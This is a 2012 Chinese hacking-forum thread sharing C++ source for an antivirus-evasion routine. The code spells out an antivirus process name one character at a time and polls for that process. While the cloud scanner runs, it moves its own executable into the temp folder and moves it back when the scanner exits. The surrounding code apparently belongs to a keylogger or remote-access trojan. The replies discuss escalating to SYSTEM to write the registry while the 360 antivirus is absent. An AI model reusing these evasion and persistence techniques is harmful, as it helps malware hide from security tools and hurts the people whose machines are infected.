小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛
标题:
循环移动代码
[打印本页]
作者:
小妖
时间:
2012-6-27 03:53
标题:
循环移动代码
void __stdcall AntiYun()
{
char strDSMain[11] = {0}; // DSMain.exe
strDSMain[0] = 'D';
strDSMain[1] = 'S';
strDSMain[2] = 'M';
strDSMain[3] = 'a';
strDSMain[4] = 'i';
strDSMain[5] = 'n';
strDSMain[6] = '.';
strDSMain[7] = 'e';
strDSMain[8] = 'x';
strDSMain[9] = 'e';
strDSMain[10] = '\0';
char szpathname[255];
char szfilename[255];
char szextname[255];
char MyPath[MAX_PATH], TempPath[MAX_PATH];
GetTempPath(sizeof(TempPath), TempPath );
GetModuleFileName( CKeyboardManager::g_hInstance, MyPath, sizeof(MyPath) );
splitname(MyPath, szpathname, szfilename, szextname);
lstrcat( TempPath, "\\" );
lstrcat( TempPath, szfilename );
for (;;)
{
Sleep(100);
if (GetProcessID(strDSMain))
{
OutputDebugString("发现云查杀进程,移动文件");
MoveFile( MyPath, TempPath );
Sleep(100);
for (;;)
{
Sleep(100);
if (!GetProcessID(strDSMain))
{
OutputDebugString("云查杀进程退出了,把文件移回来");
MoveFile( TempPath, MyPath );
break;
}
Sleep(3000); // 每3秒循环一次检测
}
}
Sleep(3000); // 每3秒循环一次检测
}
}
作者:
xhjzgsdzylj
时间:
2012-6-27 09:57
这个早就有了
作者:
xhjzgsdzylj
时间:
2012-6-27 09:57
有没有关机时写注册表的代码
作者:
孩子气
时间:
2012-6-27 12:13
看看
作者:
x7code
时间:
2012-6-27 18:13
xhjzgsdzylj 发表于 2012-6-27 09:57
有没有关机时写注册表的代码
有地。提升进程权限到system 然后循环遍历 当360进程不在的时候进行写入。
但是360好像拦截提权
欢迎光临 小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛 (https://xqmsyk.com/)
Powered by Discuz! X3.3